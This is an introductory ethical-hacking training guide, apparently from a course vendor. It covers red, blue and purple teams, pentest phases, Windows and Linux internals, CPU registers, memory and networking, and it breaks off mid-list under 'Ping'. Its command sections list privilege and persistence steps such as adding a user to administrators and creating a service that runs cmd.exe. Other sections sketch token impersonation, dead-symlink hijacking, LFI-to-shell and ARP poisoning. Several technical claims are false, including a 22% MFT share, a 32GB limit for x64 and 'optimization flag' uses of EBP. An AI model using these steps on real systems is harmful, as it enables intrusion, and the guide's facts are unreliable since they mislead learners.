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Overview
The 10 Step Guide To Ethical Hacking is a unique guide. It does not take the original approach to
learning Ethical Hacking as only just learning Ethical Hacking WILL NOT get you the job at
companies like Google! Learning all aspects of the job is what is the most important even if
some technical skills are lacking.
Learning how to interact with other teams, what questions to ask, speak with executives and
how to build out a Security Team at Silicon Valley Scale is what will separate you from the rest
when looking for the job you want. This is important regardless of what position it is!
The guide will hit the following 10 steps that will push you further into the field of Ethical
Hacking or Security in general.
1. The Teams
2. Penetration Testing Process
3. Operating Systems
4. Networking
5. Programming
6. Ethical Hacking
7. Lateral Movement
8. Reporting
9. Personal Brand
10. Job Hunting

Disclaimer
RedTeam Nation is not responsible for any illegal activity caused by the learnings in this
document or any training courses provides. This is for educational uses only! By reading any
further you are agreeing it this.

The Teams
The Red Team:
A Red Team is the Offensive side of the house for an internal organization. This team will
attempt to attack the organization for all different angles to see where gaps in security are
present. This team is not a standard Security Team and will emulate real world attackers based
on adversary emulation.
Below are some key components to a Red Team:
•
•
•
•
•
•

Identify and Exploit Issues found in an organizations environment
Simulate External and Internal Threats
Provide Cyber Awareness Training
Test Response to active threats
Understand Defensive as well as Offensive.
Understanding Defensive is a key component of Red Team.

Knowing how something is commonly configured, what may be in place, etc it paramount for
any Red Teamer. This allows you to quickly identify issues found in the environment as well as
what mitigations that could have been in place.
A Red Team is a Subject Matter Expert or SME for other teams on Offensive Security. They
realistically Test the scope of an attacker effectiveness in different situations And provide Risk
Analysis on all types of attacks and vulnerabilities.

The Blue Team:
The Opposite of a Red Team is the Blue Team. This team is on the defensive side of the house
that not only detections intrusions but also prevents them as well. The Blue Team and Red
Team normally work pretty close together to allow for maximum affect to protect the
organization. If a Red Teamer is able to bypass a protection, then it must be addressed.
Below is a list of some key components to a Blue Team:
•
•
•
•

Identify, Detect and Respond to all threats facing the organization
Handle all Incidents for Security in the organization
Operates 24/7
The alternate names that the Blue Team normally falls under is SIRT (Security Incident
Response Team) and the SOC (Security Operations Center).

The Blue team in most cases should always the first line of defense in the Security chain for an
organization. This team handles all incidents that occur and will coordinate with any other team
required in order to mitigate the issue and stop a threat.
The Blue Team will also handle all Anti-Virus policies and workstation detection’s. An example
of this is Carbon Black. With this tool that sits installed similar to a root kit on a user’s
workstation the Blue Team can identify what is running at all times and depending on how an
application starts it can be blocked and removed before causing any damage.

The Purple Team:
The Purple Team is an unofficial Team of Red and Blue Team working together. The Purple
Team gets its name due to a play on words with colors. If you mix the colors Red and Blue
together you get the color Purple.
Why is a Purple Team Needed?
• Detection Feedback Loop
• Constant Improvements
• Identify Missing Detection’s

There are a variety of Simulations and Active Test that need to be done by this team. These
attacks can span from basic attacks to sophisticated 0 days that are developed internally. Below
are a small sample set of these types of tests.
• Red Team Assessments
• Unknown
• Replay
• Phishing
The last section we will talk about is the Cross Training. These training sessions can come into 2
versions, Role Swapping and Single Sessions. A Blue Team member will sit on the Red Team for
a week and perform their actions and learn how the job works. The Red Team members will do
that same for Blue Team. The Single Session trainings are done at least once a Quarter and
provide a good amount of knowledge for both groups.

Penetration Testing Process
A Penetration Testing Methodology is a set of tasks or subjects that must be covered during any
type of assessment or engagement by a Red Team. There are a lot of different types of
Penetration Testing Methodology out there. Some are similar some are different. Most will
have each of the following parts in some way shape or form.
•
•
•
•
•
•

Scope Identification
Reconnaissance
Exploitation
Post Exploitation
Covering Your Tracks
Reporting

Each of the phases above will have their own sections to go more in depth. For the time being
feel free to look up other types of Methodology’s and compare the differences!

Metrics:
Metrics are a depiction of a large amount of data into an easily digestible and actionable data
set. This data set is very important to any team as it allows them to be measured from the
outside to make actionable decisions.
Estaff or Executive staff is the main consumer of Team based Metrics. They used these metrics
to make choices on budget, staffing, team needs, etc. This is a good way to show Estaff that a
Team is lacking in a specific area in order to get more funding.
When presenting to Estaff make sure you watch your colors! Green is best to use as a good to
go. If you start using other colors it may confuse Estaff into thinking there is an issue and you
don’t want that, trust me!

When changing any Metrics please keep in mind that sudden changes may cause different
outcomes when looked at. If a new Percentage based metric is put in place but uses the
opposite side of the scale, 0-100 instead of 100-0, then Estaff will think there is an issue. Have
all information ready to explain any changes.

Normalizing data is the idea of bringing a large set of data into a range such as 0-100 and 0-1. A
good example of this is taking an average and using that as a percentage based on the type of
data you have. In the example above we go over using phishing data.
Phishing in a nut shell is when an attacker attempting to get an individual to click on a link or
provide data from an email.

Routine Assessments:
Routine Assessments are a key topic to understand when either working on a Red Team or
building one. A Routine Assessment is an engagement or test by the Red Team that is done on
some what of a routine basis. This can be something done each week, month, quarter or even
year.
Examples of an Assessment:
• Password Cracking
• Phishing
• Corporate Network
• External Assessments
Each Red Team has some Assessment Plan that is developed Yearly or Quarterly. Knowing how
to develop these plan can help you move through the ranks of a Red Team as it is more of a
management skill! This is an important concept to bring up in questioning for a job as it shows
you are thinking about more than just a single assessment but the year as a whole.

Specialties:
A Specialty is a focus area an individual want to learn more on. It is what makes an SME or
Subject Matter Expert on a particular topic.
Examples:
• Password Cracking
• Enumeration
• Privilege Escalation
• Windows & or Linux
• Scripting
• External Testing
• Web Applications
• Exploit Development
Its important to understand that no one is an expert at everything. A team needs to be well
balanced and will have specific needs. This means that some Job postings will be looking for an
SME on a particular topic. This can also help distinguish you from the rest on the generalists out
there.
What if I don’t have one!?
Don’t Panic! Everything will be fine I promise! Most people start off in this space as a generalist.
It takes time and learning to be an SME at anything.

CIA Triangle:
What is the CIA Triangle? The CIA Triangle is a common Security Model used to guide policies
that are put into place. This is also used when revisiting any older policy.

Confidentiality is the process of controlling the access to information. This ensures only the
people that need to have access has it. A common example of this is 2FA or 2 factor
Authentication.
Integrity is there to ensure the data accesses is trusted and accurate at all times. Data that is
not trusted or inaccurate is useless data.
Availability is when the data itself must be accessible at all time. Data that cannot be accesses
is also useless data. A common reason for this breach of the triangle is a DDOS attack. To
combat this a Disaster Recovery Plan should be in place.

Operating Systems
Understanding Operating Systems, both Windows and Linux, are critical to any Security
Professional! A solid understanding of this can help you identify new issues and even currently
flaws in configuration or design inside of the organizations infrastructure. We will cover some
of the basics on Windows, Linux and how some internal parts of these work.
Keep in mind that there is always much much more to learn on Operating Systems and even
more when you start getting into each individual OS. No single course can go over everything
but here at RedTeam Nation we want you to have the knowledge to understand what to look
for when investigating something new inside of any OS.

Windows:
The Windows File System:
This is an introduction video on how NTFS, the most common Windows file system, works at a
high and medium level. The NTFS or New Technology File System is a proprietary system
created by Microsoft. This is a Journal based file system that is quick and stable to use.
The general structure of the NTFS File system:
• Boot Sector
• Master File Table
• File System Data
• Copy of Master File Table
The MFT is a table that keeps a record of every file and directory on the system. The MFT takes
about 22% of the total size of the disk. Every wonder why you buy a new computer with 1TB of
space and only see about 8-900 GB? The first 16 records are a variety of system information
and attributes that need to be accounted for.

Windows Logs:
There are 2 main places.
• C:\Windows\Logs
• Event Viewer
In the Logs file itself there can be a lot here in plain text or others with the .etl extension. These
files are Event Viewer logs and can only be read by it. Most applications will write their logs to
this location unless its a system based action.
There are a few main logs in Event Viewer.
• Application
• System
• Security
The application log will handle all normal application issues and errors. Anything you download
fro the internet an errors out will land here. The System log will handle any and all hardware
failures that do not cause the entire system to die of course.
The Security log is where you will spend most of your time. This is where all security events
occur. Overflows of memory, failed and successful login attempts, etc.
Quick Tip: Some people will miss the tab button on the keyboard and type their password in
the username field. Its always good to look at the fail attempts to see if you notice anything like
this!

UAC or User Account Control:
What is UAC? UAC is User Account Control. This prompts the user to make sure they want to
allow this application to run. There is also a prompt for credentials. This occurs when the user is
not part of an administrative group and they are attempting to run something that requires
administrative privileges.
There are 4 levels of UAC also known as the UAC Slider
• High
• Medium
• Low
• Off
For High it requires Secure Desktop to be enabled and the prompt accepted. For Medium the
application must be signed by a party Microsoft Trusts or that is trusted by the system. Low just
wants the prompt to be accepted, nothing else is checked. If the UAC control is off then no
prompt will occur.

Windows API Calls:
What is an API? It is an Application Programming Interface. Think of this as a way to easily
interface with some service to perform specific functions. In this case it is handling the
operations inside of Windows.
There are a few common libraries’ that you should be aware of and understand what they can
allow.
•

•

•

•

•

•

•
•

Base Services
o Lib: Kernel32.dll, KernelBase.dll
o Used to provide the most common functionality, handling memory, files,
hardware, etc.
Advanced Services
o Lib: advapi32.dll, advapires32.dll
o Provides functions above the Kernel to access Core Windows components such
as the Registry, Service Manager and manage user accounts
Graphical Device Interface
o Lib: gdi32.dll, win32k.sys
o Used to interface with monitors printers and other output devices.
User Interface
o Lib: user32.dll
o Handles the User interface. Everything that appears on the desktop, buttons,
creating windows, etc.
Windows Shell
o Lib: shell32.dll
o API to access functions in the command line interface.
Network Services
o Lib: netapi32.dll, Wsock32.dll, Ws2_32.dll
o Provides all network related functions
Higher Level Protocols
Lib: wininet.dll

Provides access that can implement things such as FTP, HTP, etc.
Using software such as Dependency Walker allows you to see what type of API calls that are
going to be made from the application. This is also useful when you are starting to look at
malware or any known PE file.

Windows Tokens:
Tokens are an object inside of Windows that holds the entire Security Context of a user. This is
normally passed around to different processes to sent to Win API calls that require permissions
to be checked.
What is inside of a Token?
• Users SID
• SID of any groups the user belongs to
• Logon SID that identifies the logon session
• List of privileges the user or group has
• Owner SID of the user who created this one
• SID of primary group, normally the first group they were apart of
• Default ACL when a user does not have one setup ahead of time
• Source of the access token, such as local system or a domain
• Type of Token, primary or impersonation
The type of Tokens:
• Primary
o The standard access token that is provided to the user upon login
• Impersonation
o This is done when a process needs to run as another user
• Restricted
o This is used when the CreateRestrictedToken api call is performed. The restricted
part may be needed when a user only needs a smaller scope of access than the
original primary token
This is useful to attackers! An attacker with administrative rights can grab another users Access
Token and generate their own impersonation token to run any process as another user!
Windows PE Files & DLLs:
A PE file or Portable Executable file is a format that Windows uses for an executable object. The
data structure contains all of the required information the Windows OS loader needs to use the
wrapped executable code. A DLL or Dynamically Linked Library is a DLL as well! A DLL is a
module of compiled code that can be used and referenced to perform specific tasks
PE File Structure:

The DOS MZ Header is the first 64 bytes of the file and contains 0x54AD or MZ in ASCII. This it
done to help DOS identify if it should be executed or not. DOS Stub is simply there to provide
the print statement “This program cannot be run in DOS mode” if the application is not a DOS
based one and should not be ran on the command line.
The PE header contains a decent set of fields and data around how the structure of the specific
PE files looks and where its end points are located. The PE Header contains some of the
following fields.

•
•
•

Signature
o Normally is P.E00
Machine
o The type of machine it was built for E.x i386
Number of Sections
o Used to tell the OS loader where the end of the sections table is

The Data Directories contains a large set of records. A few are the Export, import and resource
tables. The Export table contains a list of DLL functions and names to be exported by the
application and patched into the main code. The Import table shows all of the functions and
DLL addresses that the application requires. The Resource table contains the name and address
of each icon and image the application needs.

The Sections part of the PE file contains all of the rest of the application and full raw data.
• .text
o Compiled code sits
• .bss
o Uninitialized Variables
• .rdata
o Red only data such as strings and constants
• .data
o Contains variables that have been initialized
• .rsrc
o Contains the resource data, images, icons
• .edata
o Export Table information
• .idata
o Import Table information

Windows Command Line:
The Windows Command Line is how you interact with Windows without a Graphical User
Interface. Understanding how to navigate and interact with Windows in this was is a required
skill for a Red Team or Ethical Hacker.
We can access the Windows Command Line in a few ways:
• Start Menu at the bottom left
• Run
• Bat File
• Scheduled Tasks
• Manually starting the cmd.exe PE file
• From Explorer in the GUI
Navigation is Key when working on any command line. This is most commonly done with the cd
or Change Directory command. Below are a few examples of navigation.
Basic Syntax:
cd <PARAMS> PATH_OR_DRIVE
Getting to the root of the C drive:
cd C:\
Moving back a single directory:
cd ../

Working with files and directories is another key part of mastering the command line.
Mastering this allows you to create, view, move and delete files and folders. This is an
important task for anyone working on a Red Team.
Working with Files:
Creating a file:
echo > text.txt

copy con text.txt (Hit CTRL+C on the keyboard)
Copying a file:
copy text.txt ..\
Move a file:
move text.txt ..\
Renaming a file:
rename text.txt secret.txt
Delete a file:
del text.txt

Working with Directories:
Creating a Directory:
mkdir test_directory
Copying a Directory:
xcopy test_directory another_test_directory
Moving a Directory:
move test_directory ..\
Renaming a Directory:
rename test_directory test_temp
Deleting a Directory:
rmdir test_directory
Viewing a Directory:
Dir
Understanding how to manage some of Windows services and features from the command line
is invaluable. There are instances on a Red Team Assessment where turning off a specific
service or finding packages install will the key to gaining administrator access to the machine.

Below is a list of commands that can help you manage the Windows platform.
Deleting a user:
net user Brandon /del
Creating a new user:
net user Brandon /add
Adding a user to a group:
net localgroup administrators Brandon /add
Changing a users password without knowing it beforehand:
net user Brandon *
Viewing System info:
systeminfo
Viewing Service Information:
sc qc windefend
Creating a new Service:
sc create testSvc start=auto binPath=cmd.exe
Modifying a service:
sc config textSvc binPath=”C:\Users\Administrator\Desktop\PipeList\pipelist.exe”
Delete a Service:
sc delete testSvc
Stopping/Starting a service:
sc start AppReadiness
sc stop AppReadiness
Viewing Network Connections:
netstat –a

Linux:
Linux File System:
The Linux File System most commonly uses EXT4 today. EXT4 or Extended File System version 4
is an improved version of EXT3.
EXT4 relies on a series of blocks to hold all of the data together. Since everything on the Linux
File System is a file this is extremely important. These blocks are them matched into block
groups. The first Block Group or Block Group 0 is a special one in regards to the first 1024 bytes
of the block group. It reserves the first 1024 bytes to allow for any compatibility issues or
oddities.
A common Block Group has the following structure:

Data Block is physical sectors on the disk and range between 1KB -> 64KB. Files and Directories
can have multiple Data blocks associated to them depending on their size.
The Super Block can be thought of as a master record. It contains all the information about the
Block Group as well as the files system. Group Descriptors contain all of the bitmaps for data
blocks as well as the inode table. This section also holds the directory counts as well. Data and
inode bitmap’s store the locations of data blocks based on their status in the bitmap as well a
inodes. Inode Table holds all the entries for inodes. An inode in a nut shell contains all of the
metadata on every file in that block group.

Linux Process:
What is a process?
• A process is a program or application that is in execution
• It is an instance of a running application
Types of Processes:
• Foreground

•

o Also known as an interactive process. Terminal for example or Web browser.
Background
o Also known as a non-interactive process. These are not normally connected to
any foreground process and don’t expect any user input

Creating a process is just like what we have done before. Running cat or ls is starting a process
for that program. For system calls the application will use to create that processes are,
System(), Fort() and exec().
Identifying a process is pretty quick. It is all down to the PID or process ID. Every time an
application runs it is assigned a PID to keep track of it. This is provided to all child processes.
Parents are provided PPID or Parent PID’s as well. A parent process is any process that creates a
copy of itself.
There is 1 master process with PID #1. This is the first application ran by the Kernel and
manages all other applications on the system. This is most commonly systemd on newer
systems and init on older ones.

In a process there are 4 states:
•
•
•
•

Running
o Normal state of an application during execution
Waiting
o Can be waiting for input, system resource, etc
Stopped
o Stopped due to some condition, signal, debugger, etc
Zombie/Orphan
o A dead process that still has an entry in the process entry table

Working with a process.
Get the PId of a process with pidof:
pidof firefox
Get the PID of a process with ps:

ps -aux | grep -i firefox
Resource Identification:
top
q to quit
View kill signals:
kill -l
Kill a process with kill:
kill -9 PID
Kill process by its name:
pkill firefox
killall firefox

Inodes:
An Inode is a unique number that is associated to a file. The inode is also connected to a block
and that block is connected to its block group.
So whats in it? Inodes contain all of the useful information about a specific file.
• Mode/Permissions
• Owner ID
• Group ID
• Size of File
• Number of hard symbolic links to file
• Time last accessed
• Time last modified
• Time inode was modified
Quick note about a directory. A directory contains the name of all files and directories under it
as well as the inode numbers for each. When you issue a move of data it will add the
filename(s) an inode numbers to the next directory and remove it from the current directory’s
table.
Note that when you see ‘.’ or ‘..’ when doing ‘ls –l’ that is the current directory’s entry and the
parents respectively

How do we view the inode numbers?
ls -lai
The -i shows us the inode number.
We can ever search for a file based on an inode number:
find . -inum 435304 –print

Symbolic Links:
A link is a special type of file that is another reference to another file.
So for example we have a file called test.txt in the folder /tmp. We can create a link in
/home/brandon/test.txt that points to the file /tmp/test.txt.
There are 2 types of symbolic links. Hard and Soft links.
Soft links can be used between different files systems, the target that it is referencing does not
have to actually exist, links directly to the file entry table to AKA the inode and removing the
soft link only removes the reference and not the file itself.
The Hard link is the opposite of a soft link. A hard link can only exist if that target does, its only
allowed on a single file system.

A common use case for this is to allow code to point to a single file and anyone managing the
file can change what its providing without changing the file name. For example, if a developer
wanted to test using multiple version of the JDK for java they could have a symlink pointing to
one version and test then change where its pointing to and test with another version.

Dead Symlinks:
Dead Symlinks are symbolic links that no longer have a target file available. These are good to
remove and can sometimes be good for an attacker. If we have access to a directory where the
target is we can add our own file that the application will use. For example, if the admin

changes permissions on that directory due to it not being needed but forgot to remove the sym
link
The command ln is used to create a link. The -s option is for soft link and without it is a hard
link.
Creating a soft link:
ln -s [target] [link_name]
Creating a hard link:
ln [target] [link_name]
Finding Dead links:
find / -type l
symlinks -sv / | grep -i ‘dangling’

Run Levels:
When a linux system starts up it will load a default run level. A run level is more like a mode. In
run level 6 for example the OS will attempt to restart itself. The system will also act differently
based on its current run level.
Run Levels:
• Run Level 0
o This is telling the system to Halt or shut down now
• Run Level 1
o Singe user mode, does not start any network services, deamons, or allow any
non-root logins. This is mainly used for straight terminal access as a last resort.
• Run Level 2
o Multi-User Mode, It is the same as Run level 1 but does allow non-root logins
• Run Level 3
o Multi-User Mode with Networking, this is the common run level for linux as no
GUI is started here
• Run Level 4
o This is undefined and left as a spot for the user to set it up how they want if need
be.
• Run Level 5
o x11 is used here. This is the normal mode of operation for an OS with a GUI
available by default.
• Run Level 6
o This tells the machine to issue a reboot

Check Run Level:
who –r

Linux Logs:
Knowing where logs files are and what they contain is useful for a lot of reason. Lets say you
have an LFI vulnerability on a web interface. You can get access to the machine from the SSH
logs, apache access logs ,etc. Take a second to search up what LFI is and how to gain access to a
host via LFI.
Common Logs and whats inside:
/var/log/messages : General message and system related stuff
/var/log/auth.log : Authenication logs
/var/log/kern.log : Kernel logs
/var/log/cron.log : Crond logs (cron job)
/var/log/maillog : Mail server logs
/var/log/qmail/ : Qmail log directory (more files inside this directory)
/var/log/httpd/ : Apache access and error logs directory
/var/log/lighttpd/ : Lighttpd access and error logs directory
/var/log/boot.log : System boot log
/var/log/mysqld.log : MySQL database server log file
/var/log/secure or /var/log/auth.log : Authentication log
/var/log/utmp or /var/log/wtmp : Login records file
/var/log/yum.log : Yum command log file.

Operating System Internals:
The Kernel:
The Kernel is the main core of the system, it is most commonly written in C and ASM. The
Kernel manages hardware, memory, CPU and devices. It also contains 2 different spaces, Kernel
space and User space. Kernel space is a protected state that manages all of the core kernel
services such as memory and devices. There is almost no restrictions once you are at this space.
This space has full access to the hardware and memory. This includes the protected memory
regions.
User space is most commonly used by applications and the user. This space has the least
amount of privileges and access to the kernel. The user space can interact with kernel space
with the use of syscalls.
The Kernel is a stack or architecture that is used.
• Syscall Interface
o Interface to allow a secure approach for accessing the kernel
• Memory/Process Management
o Handles all memory and processes, including virtual memory
• Network Stack
o This will contain the full stack from application to the physical wire
• Virtual File System
o The Interface between the Kernel and the physical hard drive. Allows for a more
uniform structure
• Devices
o Handles all if the code that directly interfaces with the hardware itself
• Architecture Depended Code
o Code that is used to interface with specific hardware based on present hardware
LKM’s or Loadable Kernel Modules allow a user to add kernel level code without recompiling or
updating the machine. This code has full access to the kernel and is a great place to hide things
like persistence.

One Ring to Rule Them All:

The Rings or protection rings are used in the kernel to separate privileges while inside of the
OS. The top most ring and the least privileged starts at ring 3 and goes all the way down to ring
-2. These can be seen as a special type of gate to perform specific actions.
Ring 3 or the least privileged ring will be where the user applications like Office, etc reside.
There is no direct access to the kernel but can be touched through syscalls.
Ring’s 1 & 2 are where device drivers sit. They interface with the hardware but do not require
all of the privileges that the lower rings provide. This is called the least privilege rule as we only
want to give the rights required and no more.
Ring 0 is where the most privileged level resides. This is the lowest ring level for physical
system, virtual ones will have even more rings. This is where all of the kernel code lives and is
the most useful to attackers. Access to ring 0 from ring 3 compromises the entire system.
Ring -1 is for virual OS’s like Ubuntu is for us. Ring -1 is accessed by the hypervisor in our case
that is VirtualBox. So VirtualBox is accessing Ubuntu at ring -1
Ring -2 is designed for the SMM or System Management Mode. This is where the physical
hardware stops all functions for the OS and will perform its own. This can be to handle chip set
errors or reducing heat to components.

The CPU:
The CPU or Central Processing Unit is the brain of the machine. This is a chip of billions of
transistors that are split between 2 different components: Control Unit that handles
instructions from memory and the Arithmetic Logic Unit that performs all mathematical and
logical operations.
There are 2 different types of architecture x86(32 bit) and x64(64 bit). X86 was the most
commonly used until x64 was released and it had a limit of 4GB of memory at a time. 64 bit
applications cannot run on 32 bit CPU’s
The x64 CPU can handle up to 32GB of memory and can run x86 applications! The instruction
set between the 2 that ASM will use is vastly different. This is important to understand when
building exploits.
CPU Registers & Flags:
The registers are special variables inside of the CPU. The CPU only has a set number of registers
and they each have their own function and use to the CPU or the developer.
List of registers in 32 bit systems:
• EAX
o This is commonly used as the return variable for a function.
• EBX
o This is commonly used for holding the value 0 for quick access to it. It is mostly
used for temporary data storage.
• ECX
o Also known as the counting register will hold the iterator used in loops.
• EDX
o Commonly used for holding parameters from function calls.
• ESI
o Used to hold a pointer so data can be referenced without changing it.
• EDI
o Same as ESI but hold the actual destination data that will be changed.
• EBP
o This is commonly used for temporary storage and is used to hold the
optimization flag for compiling applications.
• ESP

o This is a special purpose register that points to the memory address of the top of
the stack.
•

EIP
o Another special purpose register. This is the instruction pointer. This points to
the memory address to be executed next.

High & Low Registers:
•
•
•
•
•
•
•

Each register is 32 bits
There are 3 sub versions of each register
Using EAX as an example
EAX: Can hold the full 32 bit value
AX: only handled the last 16 bits of the 32
AL: Handles the lower 8 bits of the 32
AH: handles the bits 8 – 15 of the 32

It is important to understand that there are these sub versions of registers as you may not want
to use up the full 32 bits for something that is 5 bits. The sub registers are also used for
multiplication, division, etc.

The CPU contains a special type of register called the FLAGS register. This register contains a bit
map of sorts. It hosts 32 bits that are each represented by a specific status or option.
Understanding these are important when working with exploits or ASM.

Common Flags are below:
• Carry Flag
o Commonly used for division. When there is a carry or remainder this will be
flagged
• Zero Flag
o This is also used within division and other arithmetic operations. This is also used
with controlling the flow of logic
• Overflow Flag
o This is flagged when the data required does not fit into the 32 bit register

Memory – The Stack & Heap:
Memory is a physical chip on the machine that holds chunks of data. This is used to store
program code and its related data. All applications use memory and this includes the operating
system. This is also called RAM or Random Access Memory due to its ability to access data
anywhere on the chip at will.
Since memory is used by all applications it will first load a copy of itself into memory. When this
happens EIP will be set with the entry point of the application, normally main() and being code
execution.
In some cases physical memory is not enough and virtual memory is needed. This is called
SWAP. SWAP is a section of memory saved to the hard drive and pulled back into memory
when needed. Normally it only throws memory into SWAP that is not accessed as frequently.
The memory structure contains the Stack and the Heap. We will go over these in more detail in
the next few videos. With memory there are a few restrictions. Memory has regions that are
writable and non-writable. There are also regions that are executable and non-executable.
The Stack is a special place in memory that holds temporary data. This is a LIFO bases structure
and can hold anything from text to ASM instructions. This is why ESP was so important as it
keeps track of the top of this stack so you can get the information out you need.
The common structure of a stack:

A stack is created when an application is ran. This is them passed over to the application to
push data to it and pop it off again. When an application uses a function for example and
creates variables it will store the variables on the stack. When the function returns everything is
popped of the stack until it gets back to the saved ESP pointer. This is why variables created in a
function are not saved after you leave it.
Endianness has 2 types, Big-Endian and Little-Endian. Big-Endian starts with the highest
memory address first on the stack. This is common for embedded devices. Little-Endian is what
is most commonly used in OS’s today. This adds the lowest memory address on the stack first
and memory grows upwards.
It is important when working with memory and exploits that Little-Endian is taken into account.
For example, if i wanted to push ‘Red Team Nation!’ into memory it would be ’52 0x65 0x64
0x20 0x54 0x65 0x61 0x6d 0x20 0x4e 0x61 0x74 0x69 0x6f 0x6e 0x21ʹ in hex.
However, reading this out after injecting it into the application would cause the letter to be
backwards because the OS assumes the memory inside of it is backwards and will reverse it. So
you will need to reverse the hex string and then inject it into the application.
Like the Stack the Heap resides in memory as well. The main difference between them is the
type and structure of data that is stored. The heap tends to store objects instead of single bits
of data.
The heap is also an unruly playground. While the Stack keeps a FIFO type structure the Heap
does not. The developer is in charge of managing the heap’s memory. If a developer does not
do that correct you can run into memory issues.
An application can use the Heap to store dynamically created objects and data structures. For
you Java developers this is handled by Garbage Collection. But still should be taken into account
as the GC is not always the most reliable.

Networking
Networking is the concept of connecting computers together to share some sort of resource.
Networks are what power the internet as a whole. Each machine on a network can be called a
node, host ,etc. A packet is a set size and type of data that is transferred over a physical
medium to another node on the network. This is commonly used for TCP/IP and UDP.

Physical Medium is the connection cables themselves between 2 nodes on the network.
• Unshielded Twisted Pair
• Shielded Twisted Pair
• Coaxial Cable
• Fiber Cable

There are a large array of Network Topologies that are used on todays networks. The most
common being a hybrid based network. A hybrid based network can contain any aspects of the
other topologies.
• Bus
• Ring
• Star
• Mesh
• Hybrid

The OSI Model:
The OSI Model or Open Systems Intercommunication Model is commonly used to better
understand the flow of communications between 2 nodes. This is commonly used for
troubleshooting as well. The OSI Model is a set of 7 layers from the top being 7 down to layer 1
at the bottom.

Application Layer:
• Closest to the end user
• This layer interacts with the software applications themselves
• Handles high level API’s
• Resource Sharing
Presentation Layer:
Encoding
Data Compression
Encryption/Decryption
Session Layer:
• Manages sessions TCP/IP, TLS, SSL
• Makes sure all of the sessions are active that need to be and stop all non-active sessions
Transport Layer:
• Handles the actual transfer of data
• Segmentation
• Ack’s

Network Layer:
• Managing
• IP Address
• Routing
• Packets
Data Link Layer:
• Handles Data Frames
• Corrects any errors during transfer between 2 nodes
• Defines the protocol used to transfer the data
Physical Layer:
• Sends the raw data as signals across the network medium
• Can be a cable, wireless, radio ,etc

TCP/IP:
TCP/IP or Transmission Control Protocol/Internet Protocol are the 2 sub protocols for TCP/IP.
This is the main protocol used on interconnected networks on public and private networks.
TCP/IP is a client/server type communication model.
TCP will divide the data into packets and send each packet over to the IP protocol for its
additions. TCP will them reassemble all received data back into its original form. Each TCP
section of the packet will be numbered so that it arrives and is reassembled into the correct
sequence. There is a TTL or time to live on each packet. If the packet is received after the TTL it
will be requested again. Every packet sent must be acknowledged otherwise the sender will
resend it.
All TCP/IP traffic will start its life with a 3-way handshake before you can start sending the
application data.
Client sends a SYN or Synchronize packet to the end node to ask if the port is open and if there
is availability for a new connection
Target node must have the port open and be ready to create a new connection.
Target node then response with a SYN/ACK or Synchronize Acknowledgement packet
Client then sends an ACK back to the server and now has an active connection to send data
IP handles all of the addressing of the packet. This will handle the source and destination IP as
well as the time to live of the packet.
When looking at networking it is important to understand what a port its. A port is a software
related docking point for external nodes to be able to speak to a specific process or software.
Any software can run on any port but there are common port for specific software such as SSH
over 22 and HTTP over 80.
A MAC or Media Access Control Address is an important aspect of networking. All traffic
requires a MAC address and the IP Address is resolved to a MAC address at the end of the day.
This is normally hardset to the hardware you physically have but can be spoofed or faked.
Example:
1a:00:01:37:f3:40

UDP:
While TCP/IP is a connection based protocol UDP or User Datagram Protocol is a connectionless
based protocol. This protocol does not care if packets are mangled or lost. They can arrive in
any order and its up to the responding software to figure out the sequence of packets. This is
commonly used in movie streaming as loosing a few packets will not be as noticeable.
Switch:
A switch is a commonly used network device that takes packets in and redirects them to their
next stop in the hop. A switch can have as little as 2 ports up to more than 100! Each port is
connected to a node with some sort of network medium such as fiber or UTP.
A switch will look at the MAC and IP Header and see if the attached devices on other ports are
this destination. If it is it will send the packet down that port to the node. If note it will look for
its next stop by going to its own uplink which will then attempt to get the packet to where it is
supposed to go.
Routers & Gateways:
Routers are core components of a network. This will take packets and router them to their next
step to their destination. This hold a big list of paths for a packet to take to get to where it
needs to go. This is also considered a hop in the destination path of a packet. The wireless box
you have at home is also a router! If a router does not know where to send a packet it will send
it out to its upstream gateway.
A gateway is the upstream network device of a specific network device. A router is most
commonly referred to as a gateway but it can be any device. The gateway is sent data because
the sender does not actually know where to send the data. Eventually every packet should
reach its destination.

Protocols:
A protocol is a set of predefined rules that dictate the formate of the data, transmission of the
data and the recieving of the data. This is done so that any machine reguardless of hardware or
configuration is able to speak in a common language to other machines. An example of this is
TCP/IP, DNS, SSL, TLS.

ARP or Address Resolution Protocol is similar to DNS is the respects that it resolve something.
ARP will resolve the IP address to a MAC Address.
How does it work:
• When the client tries to send a packet to another node it will first try to resolve the IP to
the MAC Address
• It will first look at the ARP table locally AKA the ARP cache to see if it already exists there
• If it does it will use that Mac
• If the MAC cannot be found in the cache it will send a request to the broadcast address
• This request will say ‘Who has IPADDRESS’
• Only the node with the IP requested will respond with an ARP response saying “I am
IPADDRESS”
• The MAC Address of this node is loaded into the ARP cache and is then used for future
communications
ARP Poisoning is commonly used to perform a Man in the Middle attack (MiTM) attack. Since
ARP will try to refresh its cache with what is already in the table an attack can take advantage
of this. The attacker can send out an RP response of ‘I am IP_of_Router’ with its own MAC and
when the client try to refresh it will see this response first and update the cache with this
information. It will make the MAC address of the router be the MAC of the attacker instead.
This will forward all traffic over to the attacker.

DNS or Domain Name System is used to resolve a hostname such as redteamnation.com into an
IP address that can actually be used to send packets to it. Think of DNS as you have contacts on
your phone. When you select a contact you do so by name not by phone number. When you
call a contact the phone will look up the name and grab the phone number associated with that
contact and place the call.
The entire internet relises on DNS. If it was not in place every person would have to memorize
an IP address for every site they wished to visit. Also Enterprise networks often rely on DNS for
load balancing and High Availability to keep things working.
How does it work:
• When you type www.redteamnation.com into you browser the Operating System will
look for a local DNS server that was setup
• In most cases this will be your router or gateway
• The OS then interacts with its local DNS client to contact the DNS server at the router
• The router has a recursive resolver and that will handle the request from the client
• The router then checks its own local DNS server to see if it knows where
www.redteamnation.com is located
• If it does it returns the IP to the client otherwise it will continue its process
• The router then looks at its own DNS settings to identify the Root Server configured for
.com
• Then once found will send the DNS request to that Root .com Server to resolve
• The Root server then has settings for the TDL or Top Level Domain DNS servers
• The TLD knows the Name server of the domain you are trying to reach AKA
redteamnation
• The request is now forwarded to the domains DNS Server to resolve the IP
• The IP is resolved and the chain unfolds in reverse to get the IP back to the client
• The first router will note cache the domain name and the IP for future use so the lookup
does not need to happen again

ICMP or Internet Control Message Protocol is commonly used to report on errors that occur for
nodes. This protocol contains a far amount of error messages and is commonly used to ping a
host to see if its up.

ICMP Errors:
• Echo Reply
• Destination Unreachable
• Redirect Message
• Echo Request
• Router Advertisement
• Time Exceeded
• Timestamp
• Timestamp Reply
• Traceroute

Ping:
•
•
•
•
•

